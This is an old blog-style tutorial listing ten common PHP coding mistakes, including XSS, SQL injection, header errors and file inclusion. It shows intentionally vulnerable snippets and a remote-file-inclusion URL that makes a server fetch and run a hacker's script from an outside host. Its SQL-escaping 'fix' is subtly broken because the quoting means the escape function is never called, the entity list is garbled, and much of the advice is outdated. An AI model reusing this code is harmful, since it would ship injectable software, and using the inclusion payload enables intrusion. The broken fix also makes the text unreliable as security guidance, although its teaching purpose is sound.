Seeing the number of problems and mistakes PHP
coders encounter repeatedly I set out to make this list of the 10
most common problems and mistakes done by PHP
coders.
1.
Not escaping entities
It's basic knowledge; ALL untrusted input
(especially user input from forms) has to be sanitized before it is
being output.
echo
$_GET['username'];
Can for instance output:
<script>/*snooping cookie or changing admin password
script*/</script>
It is an apparent security risk not to sanitize
untrusted data before output. Besides you might end up with pages
looking very messy if you do not thread user input the right
way.
How to fix it:
Basically you need to convert < , >, ' and " to their proper
entities (< , > ' , and
") . The functions htmlspecialchars and htmlentities() do
the work.
So here is the right
way:
echo
htmlspecialchars($_GET['username'],
ENT_QUOTES);
Uncountable scripts carries this
problem.
2.
Not Escaping SQL input
When querying your database all ways make sure
untrusted data gets escaped else your application will be
vulnerable to
SQL-injections and
unreliable, some coders think that they have covered their asses by
having magic_quotes on in their php.ini. The problem is that
untrusted input can come from other sources than $_GET, $_POST and
$_COOKIE (crawling other websites or using input from the
database). And what happens if magic_quotes suddenly is set to
OFF?
How to fix it:
I recommend setting magic_quotes to off in php.ini
or by using .htaccess and then using mysql_real_escape_string() on
all variables used in SQL-expressions.
<?php
$sql = "UPDATE
users SET
name='.mysql_real_escape_string($name).'
WHERE
id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>
In PHP5 combined with mysql5 you can also
use
bindings.
If you leave magic_quotes On you will just
have to trust your instinct.
3.
Wrong use of HTTP-header related functions: header(),
session_start(), setcookie()
Have you ever encountered this
warning? "warning: Cannot add header information -
headers already sent [....]
Most likely you have either during development or when deploying
PHP applications. When your browser downloads a web page the data
response from the server is structured in two different parts: The
header part and the content part.
The header consist of not visible data such as
cookies to be set or if the browser should redirect to another
location. The header always comes
first.
The content part consists of the visible content HTML, image data
and so on.
If output_buffering is
set to Off in php.ini your. When the script outputs during
execution all header related functions (setcookie(), header(),
session_start()) must be called before any output. The problem is
when somebody develops on one platform configuration and deploys to
another platform configuration, then redirects stops working,
cookies and sessions are not being
stored...
How to fix
it:
The right way is actually very
simple make your script call all header related functions before
you start any output and set output_buffering = Off
in php.ini (at your development
platform). If this is a problem on existing scripts you can all
ways hack about with the output control
functions.
4.
Requiring and including files using untrusted
data
Again and again
do not trust data you do not
declare implicitly: Including and requiring files from but not
limited to $_GET, $_POST and $_COOKIE is a stupid and mortal path,
you want to control which exacts code your server
executes.
Example:
index.php
<?
//including
header, config, database connection, etc
include($_GET['filename']);
//including
footer
?>
Any hacker can now request following
URL: http://www.yourdomain.com/index.php?filename=anyfile.txt
By doing so the hacker can extract confidential
information and execute PHP scripts stored on the server. Now if
allow_url_fopen is set to On in your PHP.ini you
will be doomed:
Try this one out:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
Then your script include and parse any code which the web page
on http://www.youaredoomed.com/phphack.php
outputs. Doing so he can for
instance send spam mails, change passwords, delete files.... I have
a very limited imagination.
How to fix it:
You have to control which files the script is allowed to include
and which it is not allowed to include.
Note: This is only a quick fix:
<?
//Include only
files that are allowed.
$allowedFiles =
array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles))
{
include($_GET['filename']);
}
else{
exit('not
allowed');
}
?>
5. Syntax
errors
This covers all the parse and syntax errors YOU make during
development, these are probably uncountable, right? Usually it is a
bracket, semi-colon, quotation mark or parenthesis that is missing
or placed wrong it is a time eater and that is why I have put it on
the list. There is only one way to fight it: Become aware of which
syntax errors you make and find ways to avoid repeating them! Of
course a good text editor will help you a lot here please, do not
use notepad.
6. No or little use of Object
Orientation
Too many systems I have seen and been working with have this
problem. They simply do not have any object orientation. Yes object
and classes for a beginner are abstract but if for instance you
build a shop system and you are not being object orientated, then
the source code will become unmaintainable with time and size. PHP
has been supporting basic object orientation since PHP4 and since
PHP5 a lot more and a lot better, so get your ass on to using
it.
7. Not using a framework
95% of all development with PHP is about developing the same four
things: Create, edit, list and delete. To do all this in pure PHP
without using a PHP MVC
Framework of some kind (let it be home made or open source) is
just plain stupid and a waste of YOUR
time (of course there are exceptions and you can
have good explanation on why you don't use a
framework).
I talk out of experience and
there is so much PHP out there but so little use of frameworks. Get
your fingers dirty now.
8. Not knowing about existing
functionality
One of the strong things about PHP is that
there's so much functionality available in the PHP core but also in
the pure PHP extensions. However time again and again scripts
people are inventing the deep plate. I am guilty in doing this, but
it is waste of time where you should be saving your time. Even when
PHP functionality is out of question you can in a lot of situations
save yourself time by using exec() to execute from
shell.
Save yourself time searching the manual
on www.php.net
and Google, keep yourself updated on new
features in future releases and by ask the right people when
needed.
9. Using old PHP
versions
This
problem primarily relates to people developing on PHP4 to put it
short you are developing on a deprecating platform and not using
the full potential of your knowledge move on, there's a lot of good
stuff and functionality in PHP5. And it is really not a big deal to
change to PHP5 most applications only need a few moderations or no
moderations to cope with the change.
Secondary there is the security risk of running on old and
unpatched software it might end up damaging your
applications.
According to Damien Seguy (founder of the French PHP portal
http://www.nexen.net) 12% of all
PHP servers where running PHP5 by the start of November 2006.
Read the article here (French).
So if you are developing PHP you are most likely (88%) still doing
it on PHP4, shame on you!
10. Double escaping
quotes
Have you ever seen a web page
display a text with \' or \" , it
usually happens when a script is made for magic_quotes
of (php.ini) and is deployed
on a site with magic_quotes on. First PHP runs addslashes() on all GET,
POST and COOKIE data then afterwards one more time when the data is
being stored.
Original text:
It's a
string
After
magic quotes on script start:
It\'s a
string
On
query storage:
It\\'s a
string
HTML
output:
It\'s a string
Another scenario that makes this occur is when
a user tries to sign up and inputs invalid data, the user then get
presented to the same form, this time with the input escaped, the
second time the user posts with the valid data the input is escaped
another time.
This stuff
still happens way too much however mostly new and inexperienced
people encounter this.
Note: This
list has been created based on my 5 years of PHP development,
working with ad hoc solutions, open source and tailored projects.
Besides helping fellow coders on the
Internet.